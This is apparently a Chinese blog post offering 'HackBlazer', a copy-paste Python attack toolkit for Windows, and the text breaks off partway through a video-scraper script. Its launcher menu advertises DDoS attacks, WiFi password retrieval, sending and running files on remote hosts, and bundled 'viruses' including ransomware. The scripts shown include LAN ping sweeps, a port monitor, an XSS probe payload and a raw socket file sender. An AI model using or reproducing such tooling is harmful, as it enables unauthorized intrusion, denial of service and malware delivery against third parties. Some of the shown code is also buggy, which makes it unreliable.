0
0

HackBlazer 纯python3.11.9免费开源攻击脚本Windows版

这套免费开源的纯python3.11.9攻击脚本是我从2023的8月份写到2024的11月份，时间有点短但是里面的项目是真的能够进行脚本攻击的，本人保证能够成功运行（注意：使用该脚本仅限于Windows系统，其他系统可能有些脚本不支持！）
然后呢就是该项目更新问题，我会一直更新！直到2028年，这个开源项目我才会终止对它的更新与维护。

virus的话呢可以在 HackBlazer---virus python3.11.9版本-CSDN博客 中复制

注意！！！：

  1. 本开源项目不可传出其他平台！
  2. 本开源项目仅供参考，切记不可用于任何非法用途！！！
  3. 出事了我不担责的哈（一定要看！！！）
    出事了我不担责的哈（一定要看！！！）
    出事了我不担责的哈（一定要看！！！）

那么现在开始你的复制和粘贴吧

1.主程序

这个是主程序，是用来调用其他脚本程序的
这个是"hackblazerM"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import time
  2. import subprocess
  3. import platform
  4. import sys
  5. import os
  6. import tkinter as tk
  8. os.system('cls' if os.name == 'nt' else 'clear')
  10. front_loaded_suffixPY = input("suffix <<")
  12. if front_loaded_suffixPY == "":
  13.     front_loaded_suffixPY = ".py"
  14.     suffixPY = front_loaded_suffixPY
  15.     print(f"以默认后缀名为 {suffixPY} !")
  16. print(f"后缀为{front_loaded_suffixPY}")
  18. time.sleep(0.5)
  19. print("正在检查 DigitalTrailBlazer-hackblazer协议 是否异常")
  20. time.sleep(0.5)
  21. file_path2 = ("DigitalTrailBlazer-hackblazer协议" + front_loaded_suffixPY)
  22. if os.path.exists(file_path2):
  23.     print("正常")
  24. else:
  25.     print("异常")
  26.     sys.exit()
  28. time.sleep(0.5)
  29. def on_mousewheel(event):
  30.     # 根据鼠标滚轮方向滚动文本框的视图
  31.     text_widget.yview_scroll(int(-1 * (event.delta / 120)), "units")
  32. def agree():
  33.     root.destroy()
  34. def decline():
  35.     print("已为您退出该程序")
  36.     os.system('cls' if os.name == 'nt' else 'clear')
  37.     root.destroy()
  38.     sys.exit()
  39. root = tk.Tk()
  40. root.title("协议")
  41. root.geometry("800x500")
  42. # 用于标记用户是否已经做出选择的变量
  43. choice_made = False
  44. def enable_program_continue():
  45.     global choice_made
  46.     choice_made = True
  47. text_widget = tk.Text(root)
  48. text_widget.pack(fill=tk.BOTH, expand=True)
  49. text_widget.insert(tk.END, "<DigitalTrailBlazer>\n")
  50. text_widget.insert(tk.END, """
  51. HackBlazer免责声明
  52. 用户在使用本软件前应仔细阅读本免责声明，继续使用表示用户接受所有条款。
  53. 本软件的使用受限于用户已获得合法授权，开发者不对用户授权的合法性进行审查，用户自行对因授权问题导致的法律后果负责。
  54. 本软件可能存在未知漏洞或错误，尽管开发者尽力改进，但对于因这些问题导致的用户数据丢失、系统损坏或其他不良后果，开发者不承担责任。
  55. 用户不得将本软件用于任何非法目的，如网络犯罪、恶意攻击、未经授权的系统入侵等，否则将依法承担全部责任。
  56. 本软件仅供合法的安全测试、网络研究、企业内部安全评估等授权场景使用，未经授权用于其他目的属于用户违规行为。
  57. 在使用本软件进行操作时，用户应采取合理措施防止对目标系统造成损害，因用户疏忽造成的损失由用户自行承担。
  58. 对于因不可抗力（如自然灾害、战争、政府行为、网络故障等超出开发者控制范围的情况）导致的软件问题或用户损失，开发者不承担责任。
  59. 本软件的使用许可仅授予用户个人或特定授权实体，未经许可不得分发、共享、出租、出售本软件，否则用户承担侵权责任。
  60. 用户不得利用本软件对政府机构、军事设施、关键基础设施（能源、通信、金融等）进行未经授权的访问或攻击，否则自行承担法律后果。
  61. 本软件不保证与所有的操作系统、硬件设备或其他软件完全兼容，因兼容性问题导致的问题，开发者不承担责任。
  62. 用户使用本软件产生的任何直接或间接损失，包括但不限于经济损失、数据损失、业务中断等，开发者不承担赔偿责任。
  63. 开发者不承担因用户使用本软件对第三方造成损害而引发的任何责任，包括但不限于第三方索赔、诉讼等。
  64. 用户不得使用本软件收集、存储或传播违反隐私法规的个人信息，若有违反，用户承担责任。
  65. 若用户修改本软件或创建衍生作品且未获得开发者书面同意，将承担知识产权相关法律责任。
  66. 本软件仅作为一种工具提供，用户应对其使用行为和相关决策负责，开发者不对用户的决策失误承担责任。
  67. 用户不得使用本软件干扰或破坏其他软件、网络服务的正常运行，如有违反，自行承担后果。
  68. 对于因软件更新、升级或停用导致的用户不便或损失，开发者不承担责任，用户应自行备份数据。
  69. 用户在使用本软件过程中若遇到技术问题，开发者可提供有限支持，但不保证问题一定能解决。
  70. 本软件中的任何信息、数据或功能仅作为参考，用户不应完全依赖，因依赖产生的问题开发者不负责。
  71. 开发者不承担因用户在软件使用过程中违反道德准则或行业规范而产生的任何后果。
  72. 本软件可能会受到网络环境的影响，如网络延迟、丢包等，开发者不对由此产生的问题负责。
  73. 用户不得使用本软件对教育机构、医疗机构、公益组织等特殊保护对象进行未经授权的渗透测试。
  74. 若用户利用本软件进行商业间谍活动、不正当竞争等违法商业行为，将依法承担责任。
  75. 本软件的知识产权归开发者所有，用户不得删除、掩盖或篡改软件中的知识产权标识。
  76. 用户不得使用本软件故意制造虚假信息、误导用户或进行欺诈活动，否则承担法律责任。
  77. 在使用本软件进行渗透测试等操作时，应遵守相关的安全标准和规范，因违反导致的问题用户负责。
  78. 开发者有权根据法律法规、技术发展等情况对软件进行修改或终止服务，用户应接受。
  79. """)
  80. # 绑定鼠标滚轮事件
  81. text_widget.bind("<MouseWheel>", on_mousewheel)
  82. agree_button = tk.Button(root, text="我同意", command=lambda: [agree(), enable_program_continue()])
  83. agree_button.pack(pady=20)
  84. decline_button = tk.Button(root, text="我拒绝", command=lambda: [decline(), enable_program_continue()])
  85. decline_button.pack()
  86. # 主循环，等待用户做出选择
  87. while not choice_made:
  88.     root.update()
  90. os.system('cls' if os.name == 'nt' else 'clear')
  91. print("您已同意本协议")
  92. print("""
  93. ---------------------------------------------------------------------------------------
  94.       """)
  95. print("此程序由 DigitalTrailBlazer 团队提供技术支持")
  96. time.sleep(1)
  98. print("""
  99.  <DigitalTrailBlazer>
  100. ======================
  101.      此程序仅供教学
  102.   切勿用于任何非法活动
  103. ======================
  104. """)
  106. time.sleep(0.5)
  107. system_name = platform.system()
  108. if system_name != "Windows":
  109.     print("当前系统不是Windows系统")
  110. else:
  111.     print("当前使用的系统为Windows系统")
  113. time.sleep(0.5)
  114. versionnumber = "computer client side [1.1.3] - Chinese"
  115. print(f"您使用的版本为 <DigitalTrailBlazer> HackBlazer - [{versionnumber}]")
  117. time.sleep(0.5)
  118. while True:
  119.     try:
  120.         program = input("<DigitalTrailBlazer>HackBlazer <<")
  121.         if program == "check -m -l":#查看指定的库是否下载
  122.             subprocess.call(["python","查看指定的库是否下载" + suffixPY])
  123.         if program == "check -all -v":#查看所有内置病毒
  124.             subprocess.call(["python","查看所有内置病毒" + suffixPY])
  125.         if program == "check -wifi key":#查找wifi的密码
  126.             subprocess.call(["python","csdn-查找wifi的密码" + suffixPY])
  127.         if program == "check -m -web":#查找网段
  128.             subprocess.call(["python","查找网段" + suffixPY])
  129.         if program == "open cal":#打开计算机
  130.             subprocess.call(["python","打开计算机" + suffixPY])
  131.         if program == "find -r -ip":#查找真实ip
  132.             subprocess.call(["python","查找真实ip" + suffixPY])
  133.         if program == "use -ddos/1":#启用DDoS攻击 第1版
  134.             subprocess.call(["python","DDoS攻击 第1版" + suffixPY])
  135.         if program == "find -vul -ip":#查找指定ip的漏洞
  136.             subprocess.call(["python","查找指定ip的漏洞" + suffixPY])
  137.         if program == "check -m -ip":#查找我的ip
  138.             subprocess.call(["python","查找我的ip" + suffixPY])
  139.         if program == "use -ddos/2":#启用DDoS攻击 第2版
  140.             subprocess.call(["python3","DDoS攻击 第2版" + suffixPY])
  141.         if program == "check -internet card":#查看当前网卡
  142.             subprocess.call(["python3","查看当前网卡" + suffixPY])
  143.         if program == "req -web code":#爬取网页源代码
  144.             subprocess.call(["python3","爬取网页源代码" + suffixPY])
  145.         if program == "check -web":#查看指定网站的状态
  146.             subprocess.call(["python","查看指定网站的状态" + suffixPY])
  147.         if program == "use -ddos-1":#启用GH的DDoS攻击
  148.             subprocess.call(["python","GH-DDoS攻击" + suffixPY])
  149.         if program == "web tools":#启用GH的网络工具
  150.             subprocess.call(["python","GH-网络工具" + suffixPY])
  151.         if program == "listen -ip":#监听指定IP主机
  152.             subprocess.call(["python","监听ip主机" + suffixPY])
  153.         if program == "open game1":#启动内置小游戏---1
  154.             subprocess.call(["python","game1" + suffixPY])
  155.         if program == "use -ddos/3":#启用DDoS攻击 第3版
  156.             subprocess.call(["python","DDoS攻击 第3版" + suffixPY])
  157.         if program == "send file -ip host [run]":#向指定ip主机发送文件并运行
  158.             subprocess.call(["python","发送指定文件至指定IP并运行" + suffixPY])
  159.         if program == "scan -n -wifi/2":#扫描附近wifi 第2版
  160.             subprocess.call(["python","扫描附近wifi第2版" + suffixPY])
  161.         if program == "scan -n -wifi/3":#扫描附近wifi 第3版
  162.             subprocess.call(["python","扫描附近wifi第3版" + suffixPY])
  163.         if program == "help":#查看HackBlazer的所有代码
  164.             subprocess.call(["python","帮助" + suffixPY])
  165.         if program == "scan -m -lan":#扫描局域网和局域网内部活跃IP
  166.             subprocess.call(["python","扫描局域网和局域网内部活跃IP" + suffixPY])
  167.         if program == "req -web ip":#爬取网站的IP
  168.             subprocess.call(["python","爬取网站IP" + suffixPY])
  169.         if program == "use -ddos-2":#启用GH的DDoS攻击
  170.             subprocess.call(["python","GH-DDos" + suffixPY])
  171.         if program == "use -new cmd":#使用新的cmd终端
  172.             subprocess.call(["python","HBuse2" + suffixPY])
  173.         target_strings3 = ["cls", "clear", "clear screen", "cls screen"]
  174.         if program in target_strings3:#清屏
  175.             os.system('cls' if os.name == 'nt' else 'clear')
  176.         target_strings4 = ["hackblazer -version","hb -version","HackBlazer -version","HB -version","hackblazer version","hb version","HackBlazer version","HB version","version","vs","VS","VerSion","VERSION"]
  177.         if program in target_strings4:#查看版本
  178.             print(f"您使用的版本为 <CipherBreakers> HackBlazer - computer client side[{versionnumber}] - 中文版")
  179.         if program == "rep -video":#爬取视频
  180.             subprocess.call(["python","爬取视频" + suffixPY])
  181.         if program == "exit()":#退出
  182.             print("已为您退出该程序")
  183.             os.system('cls' if os.name == 'nt' else 'clear')
  184.             sys.exit()
  185.     except Exception as e:
  186.         print(f"发生错误：{e}")

2.帮助

这个是"帮助"，一定要这样命名，不然用不了，后面自己加后缀！ 

  1. print("<CipherBreakers>")
  2. print("""
  4. python标准库:
  5. ============================================================
  6.       
  7.       "check -m -l":#查看指定的库是否下载
  8.       "check -all -v":#查看所有内置病毒
  9.       "open cal":#打开计算机
  10.       "find -r -ip":#查找真实ip
  11.       "check -m -web":#查找网段
  12.       "check -m -ip":#查找我的ip
  13.       "use -ddos/1":#启用DDoS攻击 第1版
  14.       "use -ddos/2":#启用DDoS攻击 第2版
  15.       "use -ddos/3":#启用DDoS攻击 第3版
  16.       "use -ddos-1"#启用GH的DDoS攻击1
  17.       "web tools"#启用GH的网络工具
  18.       "use -ddos-2"#启用GH的DDoS攻击2
  19.       "listen -ip":#监听指定IP主机
  20.       "open game1":#启动内置小游戏---1
  21.       "scan -n -wifi/2":#扫描附近wifi 第2版
  22.       "scan -n -wifi/3":#扫描附近wifi 第3版
  23.       "scan -m -lan":#扫描局域网和局域网内部活跃IP
  24.       "send file -ip host [run]":#向指定ip主机发送文件并运行
  25.       "use -new cmd":#使用新的cmd终端
  26.       "cls", "clear", "clear screen", "cls screen"#清屏
  27.       "help":#查看HackBlazer的所有代码
  28.       "exit":#退出
  30. ============================================================
  31.       
  32. 第三方库:
  33. ============================================================
  34.       
  35.       "rep -video":#爬取视频
  36.       "scan -n -ssid[wifi]":#扫描附近wifi
  37.       "check -wifi key/csdn":#查找wifi的密码
  38.       "find -vul -ip":#查找指定ip的漏洞
  39.       "check -internet card":#查看当前网卡
  40.       "req -web code":#爬取网页源代码
  41.       "check -web":#查看指定网站的状态
  42.       "req -web ip":#爬取网站的IP
  44. ============================================================
  46. ------------------------------------------------------------
  48. GitHub创作者:
  49. ============================================================    
  50.       
  51.       "use -ddos-1"#启用GH的DDoS攻击1
  52.       "web tools"#启用GH的网络工具
  53.       "use -ddos-2"#启用GH的DDoS攻击2
  55. ============================================================     
  57. ------------------------------------------------------------
  59. CSDN创作者:
  60. ============================================================
  62.        "check -wifi key":#查找wifi的密码
  63.       
  64. ============================================================
  65.       
  66. """)

3.查看当前局域网和局域网内活跃IP

这个是"查看当前局域网和局域网内活跃IP"，一定要这样命名，不然用不了，后面自己加后缀！ 

  1. import socket
  2. import ipaddress
  3. import subprocess
  5. print("<DigitalTrailBlazer>")
  6. def get_local_ip():
  7.     """获取本机的局域网IP地址"""
  8.     try:
  9.         # 创建一个UDP套接字
  10.         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  11.         # 连接到公共DNS服务器
  12.         sock.connect(('8.8.8.8', 80))
  13.         # 获取本地IP地址
  14.         local_ip = sock.getsockname()[0]
  15.         sock.close()
  16.         return local_ip
  17.     except Exception as e:
  18.         print(f"获取本地IP地址时出错: {e}")
  19.         return None
  21. def scan_network(network):
  22.     """扫描指定网络中的活跃IP地址"""
  23.     active_ips = []
  24.     try:
  25.         # 创建一个IP网络对象
  26.         net = ipaddress.ip_network(network, strict=False)
  27.         for ip in net.hosts():
  28.             try:
  29.                 # 使用ping命令检查IP是否活跃
  30.                 response = subprocess.run(['ping', '-c', '1', str(ip)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  31.                 if response.returncode == 0:
  32.                     active_ips.append(str(ip))
  33.             except Exception as e:
  34.                 print(f"扫描IP {ip} 时出错: {e}")
  35.     except ValueError as e:
  36.         print(f"网络地址格式错误: {e}")
  37.     return active_ips
  39. if __name__ == "__main__":
  40.     local_ip = get_local_ip()
  41.     if local_ip:
  42.         print(f"本机局域网IP地址: {local_ip}")
  43.         
  44.         # 假设本机IP在192.168.1.x网段
  45.         network = f"{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.0.0/24"
  46.         print(f"正在扫描网络: {network}")
  47.         
  48.         active_ips = scan_network(network)
  49.         if active_ips:
  50.             print("活跃的IP地址:")
  51.             for ip in active_ips:
  52.                 print(ip)
  53.         else:
  54.             print("未发现活跃的IP地址。")
  55.     else:
  56.         print("无法获取本机局域网IP地址。")

4.查看当前网卡

这个是"查看当前网卡"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import psutil
  3. print("<DigitalTrailBlazer>")
  4. def view_network_cards():
  5.     interfaces = psutil.net_if_addrs()
  6.     for interface_name, interface_addresses in interfaces.items():
  7.         print("网卡名称:", interface_name)
  8.         for address in interface_addresses:
  9.             print("    地址类型:", address.family.name)
  10.             print("    地址:", address.address)
  11.             print("    网络掩码:", address.netmask)
  12.             print("    广播地址:", address.broadcast)
  13. if __name__ == "__main__":
  14.     view_network_cards()

5.查看所有内置病毒

这个是"查看所有内置病毒"，一定要这样命名，不然用不了，后面自己加后缀！
想要同款病毒可以到我主页复制 HackBlazer---virus python3.11.9版本-CSDN博客

  1. print("DigitalTrailBlazer")
  2. print("virus1 ------ 一个很难关掉的窗口")
  3. print("virus2 ------ 恶心的勒索程序")

6.查看指定的库是否下载

这个是"查看指定的库是否下载"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import importlib
  2. print("<DigitalTrailBlazer>")
  3. def check_library_installed(library_name):
  4.     try:
  5.         importlib.import_module(library_name)
  6.         return True
  7.     except ImportError:
  8.         return False
  9. library_to_check = input("library <<")
  10. if check_library_installed(library_to_check):
  11.     print(f"{library_to_check} 已安装。")
  12. else:
  13.     print(f"{library_to_check} 未安装。")

7.查看指定网站的状态

这个是"查看指定网站的状态"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import requests
  3. print("<DigitalTrailBlazer>")
  4. def check_website_status(url):
  5.     try:
  6.         response = requests.get(url)
  7.         print(f"网站状态码: {response.status_code}")
  8.         if response.status_code == 200:
  9.             print("网站可以正常访问")
  10.         elif response.status_code == 404:
  11.             print("页面未找到")
  12.         elif response.status_code == 500:
  13.             print("服务器内部错误")
  14.         else:
  15.             print("其他状态码")
  16.     except requests.RequestException as e:
  17.         print(f"访问网站出错: {e}")
  18. if __name__ == "__main__":
  19.     url = input("请输入网站地址: ")
  20.     check_website_status(url)

8.查看网段

这个是"查找网段"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import threading
  4. print("<DigitalTrailBlazer>")
  5. def get_local_network_segment():
  6.     try:
  7.         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  8.         s.connect(("8.8.8.8", 80))
  9.         ip = s.getsockname()[0]
  10.         subnet_mask = None
  11.         interfaces = socket.if_nameindex()
  12.         for interface_name, interface_index in interfaces:
  13.             if interface_name.startswith('Ethernet') or interface_name.startswith('Wi-Fi'):
  14.                 interface_info = socket.if_addresses(interface_index)
  15.                 for info in interface_info:
  16.                     if info[0] == socket.AF_INET:
  17.                         subnet_mask = info[2][0]
  18.                         break
  19.                 if subnet_mask:
  20.                     break
  21.         if subnet_mask is None:
  22.             return None
  23.         ip_parts = [int(x) for x in ip.split('.')]
  24.         mask_parts = [int(x) for x in subnet_mask.split('.')]
  25.         network_parts = [ip_parts[i] & mask_parts[i] for i in range(4)]
  26.         return '.'.join(map(str, network_parts)) + '/24'
  27.     except Exception as e:
  28.         return None
  30. def scan_local_network(network_segment):
  31.     found_devices = []
  32.     def scan_ip(ip):
  33.         try:
  34.             hostname, _, _ = socket.gethostbyaddr(ip)
  35.             found_devices.append((ip, hostname))
  36.         except socket.herror:
  37.             pass
  38.     threads = []
  39.     for i in range(1, 255):
  40.         ip = f"{network_segment[:-3]}{i}"
  41.         t = threading.Thread(target=scan_ip, args=(ip,))
  42.         t.start()
  43.         threads.append(t)
  44.     for t in threads:
  45.         t.join()
  46.     return found_devices
  48. if __name__ == "__main__":
  49.     segment = get_local_network_segment()
  50.     if segment:
  51.         print(f"本地局域网网段为：{segment}")
  52.         devices = scan_local_network(segment)
  53.         for ip, name in devices:
  54.             print(f"IP: {ip}, Name: {name}")
  55.     else:
  56.         print("无法确定本地局域网网段。")

9.查找我的ip

这个是"查找我的ip"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  3. print("<DigitalTrailBlazer>")
  4. def get_local_ip():
  5.     try:
  6.         s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  7.         s.connect(("8.8.8.8", 80))
  8.         local_ip = s.getsockname()[0]
  9.         s.close()
  10.         return local_ip
  11.     except Exception as e:
  12.         print(f"获取本机IP地址时出错: {e}")
  13.         return None
  15. if __name__ == "__main__":
  16.     local_ip = get_local_ip()
  17.     if local_ip:
  18.         print(f"本机IP地址是: {local_ip}")

10.查找真实ip

这个是"查找真实ip"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  3. print("<DigitalTrailBlazer>")
  4. def get_canonical_ip(ip):
  5.     try:
  6.         # 尝试解析 IP 地址，如果成功则返回输入的 IP，因为它已经是正式 IP
  7.         socket.inet_aton(ip)
  8.         return ip
  9.     except socket.error:
  10.         try:
  11.             # 如果输入不是正式 IP，则尝试通过域名解析获取正式 IP
  12.             canonical_name = socket.gethostbyname(ip)
  13.             return canonical_name
  14.         except socket.gaierror:
  15.             return "无法确定有效的 IP 地址"
  17. ip = input("请输入 IP 地址或域名：")
  18. print("真实IP为: ",get_canonical_ip(ip))
  19. print(get_canonical_ip(ip))

11.查找指定ip的漏洞

这个是"查找指定ip的漏洞"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import requests
  2. from bs4 import BeautifulSoup
  4. print("<DigitalTrailBlazer>")
  5. # 设置请求超时时间（秒）
  6. REQUEST_TIMEOUT = 8
  8. def detect_xss_vulnerability(url):
  9.     try:
  10.         payload = "<script>alert('XSS');</script>"
  11.         response = requests.get(url, params={'input': payload}, timeout=REQUEST_TIMEOUT)
  12.         soup = BeautifulSoup(response.text, 'html.parser')
  13.         if payload in soup.prettify():
  14.             print(f"在 {url} 检测到跨站脚本漏洞（XSS）")
  15.             return True
  16.         print(f"在 {url} 未检测到跨站脚本漏洞（XSS）")
  17.         return False
  18.     except requests.exceptions.RequestException as e:
  19.         print(f"检测XSS漏洞时出错: {e}")
  20.         return False
  22. def check_for_missing_elements(url):
  23.     try:
  24.         response = requests.get(url, timeout=REQUEST_TIMEOUT)
  25.         response.raise_for_status()
  26.         soup = BeautifulSoup(response.text, 'html.parser')
  28.         # 这里假设检测是否存在某个关键的 <meta> 元素，比如用于设置字符编码的
  29.         meta_encoding_element = soup.find('meta', {'charset': True})
  30.         if not meta_encoding_element:
  31.             print(f"在 {url} 可能存在潜在漏洞，未检测到关键的 <meta> 元素（用于设置字符编码）。")
  32.             return True
  33.         print(f"在 {url} 未发现因关键 <meta> 元素缺失导致的潜在漏洞。")
  34.         return False
  35.     except requests.exceptions.RequestException as e:
  36.         print(f"检查元素缺失漏洞时出错: {e}")
  37.         return False
  39. if __name__ == "__main__":
  40.     target_ip = input("ip <<")
  41.     target_url = f"http://{target_ip}/"  # 假设目标IP上有Web服务，这里是对应的URL
  43.     detect_xss_vulnerability(target_url)
  44.     check_for_missing_elements(target_url)

12.打开计算机

这个是"打开计算机"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import tkinter as tk
  3. print("<DigitalTrailBlazer>")
  4. def button_click(number):
  5.     current = entry.get()
  6.     entry.delete(0, tk.END)
  7.     entry.insert(tk.END, current + str(number))
  9. def calculate():
  10.     try:
  11.         result = eval(entry.get())
  12.         history_text.insert(tk.END, f"{entry.get()} = {result}\n")
  13.         entry.delete(0, tk.END)
  14.         entry.insert(tk.END, result)
  15.     except Exception as e:
  16.         entry.delete(0, tk.END)
  17.         entry.insert(tk.END, "Error")
  19. def clear():
  20.     entry.delete(0, tk.END)
  22. def add_negative_sign():
  23.     current = entry.get()
  24.     if current and (current[0].isdigit() or current[0] in "("):
  25.         entry.insert(0, "-")
  27. def clear_history():
  28.     history_text.delete(1.0, tk.END)
  30. root = tk.Tk()
  31. root.title("Simple Calculator")
  33. entry = tk.Entry(root, width=30)
  34. entry.grid(row=0, column=0, columnspan=4)
  36. buttons = [
  37.     ('7', 1, 0), ('8', 1, 1), ('9', 1, 2), ('/', 1, 3),
  38.     ('4', 2, 0), ('5', 2, 1), ('6', 2, 2), ('*', 2, 3),
  39.     ('1', 3, 0), ('2', 3, 1), ('3', 3, 2), ('-', 3, 3),
  40.     ('0', 4, 0), ('.', 4, 1), ('=', 4, 2), ('+', 4, 3),
  41.     ('C', 5, 0), ('±', 5, 1), ('Clear History', 5, 2)  # 添加清除历史记录按钮
  42. ]
  44. for label, row, col in buttons:
  45.     if label == 'C':
  46.         button = tk.Button(root, text=label, command=clear, width=10)
  47.     elif label == '=':
  48.         button = tk.Button(root, text=label, command=calculate, width=10)
  49.     elif label == '±':
  50.         button = tk.Button(root, text=label, command=add_negative_sign, width=10)
  51.     elif label == 'Clear History':
  52.         button = tk.Button(root, text=label, command=clear_history, width=15)
  53.     else:
  54.         button = tk.Button(root, text=label, command=lambda label=label: button_click(label), width=10)
  55.     button.grid(row=row, column=col)
  57. history_text = tk.Text(root, height=5, width=30)
  58. history_text.grid(row=6, column=0, columnspan=4)
  60. root.mainloop()

13.发送指定文件至指定IP并运行

这个是"发送指定文件至指定IP并运行"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import os
  4. print("DigitalTrailBlazer")
  5. timeout = input("请输入超时时间(秒) <<")
  6. def send_file_to_desktop(ip, port, file_path):
  7.     try:
  8.         # 创建socket对象
  9.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.         sock.settimeout(timeout)  # 设置超时时间
  11.         sock.connect((ip, port))
  12.         
  13.         # 发送文件内容
  14.         with open(file_path, 'rb') as file:
  15.             while True:
  16.                 data = file.read(1024)
  17.                 if not data:
  18.                     break
  19.                 sock.sendall(data)
  20.         
  21.         print(f"文件 {file_path} 已成功发送到 {ip}:{port}")
  22.     except Exception as e:
  23.         print(f"发送文件时出错: {e}")
  24.     finally:
  25.         sock.close()
  27. def check_ip_validity(ip):
  28.     try:
  29.         socket.inet_aton(ip)
  30.         return True
  31.     except socket.error:
  32.         return False
  34. def check_port_validity(ip, port):
  35.     try:
  36.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  37.         sock.settimeout(2)
  38.         result = sock.connect_ex((ip, port))
  39.         if result == 0:
  40.             print(f"端口 {port} 在 {ip} 上是开放的")
  41.             return True
  42.         else:
  43.             print(f"端口 {port} 在 {ip} 上未开放")
  44.             return False
  45.     except Exception as e:
  46.         print(f"检查端口时出错: {e}")
  47.         return False
  48.     finally:
  49.         sock.close()
  51. def main():
  52.     while True:
  53.         ip = input("请输入目标IP地址: ")
  54.         if not check_ip_validity(ip):
  55.             print("IP地址无效，请重新输入")
  56.             continue
  57.         
  58.         port = input("请输入目标端口号: ")
  59.         try:
  60.             port = int(port)
  61.             if port < 0 or port > 65535:
  62.                 raise ValueError
  63.         except ValueError:
  64.             print("端口号无效，请输入一个0到65535之间的整数")
  65.             continue
  66.         
  67.         if not check_port_validity(ip, port):
  68.             confirm = input("端口未开放，是否继续？(y/n): ")
  69.             if confirm.lower() != 'y':
  70.                 print("程序已退出")
  71.                 return
  72.         
  73.         file_path = input("请输入要发送的文件路径: ")
  74.         if not os.path.exists(file_path):
  75.             print("文件不存在，请重新输入")
  76.             continue
  77.         
  78.         send_file_to_desktop(ip, port, file_path)
  79.         break
  81. if __name__ == "__main__":
  82.     main()

14.监听ip主机

这个是"监听ip主机"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import threading
  3. import tkinter as tk
  4. from tkinter import ttk
  5. import signal
  6. import time
  7. import sys
  9. print("<DigitalTrailBlazer>")
  10. # 检查单个端口是否开放
  11. def check_port(host, port):
  12.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13.     sock.settimeout(1)
  14.     try:
  15.         result = sock.connect_ex((host, port))
  16.         if result == 0:
  17.             return True
  18.         return False
  19.     except Exception:
  20.         return False
  21.     finally:
  22.         sock.close()
  24. # 监听单个主机的多个端口
  25. def monitor_host_ports(host, ports):
  26.     results = []
  27.     for port in ports:
  28.         open_status = check_port(host, port)
  29.         results.append((port, open_status))
  30.     return results
  32. # 监听多个主机的多个端口
  33. def monitor_multiple_hosts_ports(hosts, ports):
  34.     all_results = []
  35.     for host in hosts:
  36.         host_results = monitor_host_ports(host, ports)
  37.         all_results.extend([(host, port, status) for port, status in host_results])
  38.     return all_results
  40. # 更新GUI显示结果
  41. def update_gui(results):
  42.     for row in treeview.get_children():
  43.         treeview.delete(row)
  44.     for result in results:
  45.         if len(result) == 2:
  46.             host, (port, status) = result
  47.             treeview.insert("", "end", values=(host, port, status))
  48.         elif len(result) == 3:
  49.             host, port, status = result
  50.             treeview.insert("", "end", values=(host, port, status))
  52. # 持续监听的函数
  53. def continuous_monitoring():
  54.     global running
  55.     while running:
  56.         start_time = time.time()
  57.         results = monitor_multiple_hosts_ports(hosts, ports)
  58.         update_gui(results)
  59.         end_time = time.time()
  60.         elapsed_time = end_time - start_time
  62.         # 如果更新时间小于5秒，等待剩余时间，以保证大致每5秒更新一次
  63.         if elapsed_time < 5:
  64.             time.sleep(5 - elapsed_time)
  66. # 定义处理Ctrl+C信号的函数，增强退出功能
  67. def handle_ctrl_c(signal, frame):
  68.     print("接收到Ctrl+C，正在退出程序...")
  69.     global running
  70.     running = False
  71.     global monitor_thread
  72.     if monitor_thread.is_alive():
  73.         monitor_thread.join(timeout=3)  # 最多等待3秒让线程结束
  74.         if monitor_thread.is_alive():
  75.             print("监听线程未能及时停止，强制退出...")
  76.             sys.exit(1)  # 强制退出程序
  77.     root.destroy()
  78.     print("程序已成功退出。")
  80. # 创建GUI窗口
  81. root = tk.Tk()
  82. root.title("网络端口监听")
  84. # 获取用户输入的透明度值（0 - 1之间）
  85. try:
  86.     alpha_value = float(input("请输入窗口透明度（0 - 1之间）："))
  87.     if 0 <= alpha_value <= 1:
  88.         root.attributes('-alpha', alpha_value)
  89.     else:
  90.         print("输入的透明度值不在有效范围内，使用默认值0.7。")
  91.         root.attributes('-alpha', 0.7)
  92. except ValueError:
  93.     print("输入无效，使用默认值0.7。")
  94.     root.attributes('-alpha', 0.7)
  96. root.configure(bg='#333333')
  98. label = tk.Label(root, text="<DigitalTrailBlazer>")
  99. label.pack(pady=20)
  101. # 创建表格
  102. treeview = ttk.Treeview(root, columns=("主机", "端口", "状态"), show="headings")
  103. treeview.heading("主机", text="主机")
  104. treeview.heading("端口", text="端口")
  105. treeview.heading("状态", text="状态")
  106. treeview.pack()
  108. # 获取用户输入的主机和端口信息
  109. hosts_input = input("请输入要监听的主机，多个主机用逗号分隔: ")
  110. hosts = [host.strip() for host in hosts_input.split(',')]
  111. ports_input = input("请输入要监听的端口，多个端口用逗号分隔: ")
  112. ports = [int(port.strip()) for port in ports_input.split(',')]
  114. # 启动监听线程
  115. running = True
  116. monitor_thread = threading.Thread(target=continuous_monitoring)
  117. monitor_thread.start()
  119. # 注册Ctrl+C信号处理函数
  120. signal.signal(signal.SIGINT, handle_ctrl_c)
  122. root.mainloop()

15.爬取视频

这个是"爬取视频"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import tkinter as tk
  2. from tkinter import messagebox
  3. import requests
  4. from PIL import Image, ImageTk
  6. def create_main_window():
  7.     root = tk.Tk()
  8.     root.title("req video")
  9.     root.geometry("600x300")
  11.     label = tk.Label(root, text="<DigitalTrailBlazer>")
  12.     label.pack(pady=10)
  14.     # 创建输入框
  15.     url_label_url = tk.Label(root, text="video url")
  16.     url_label_url.pack(pady=5)
  17.     url_entry1 = tk.Entry(root, width=50)
  18.     url_entry1.pack(pady=10)
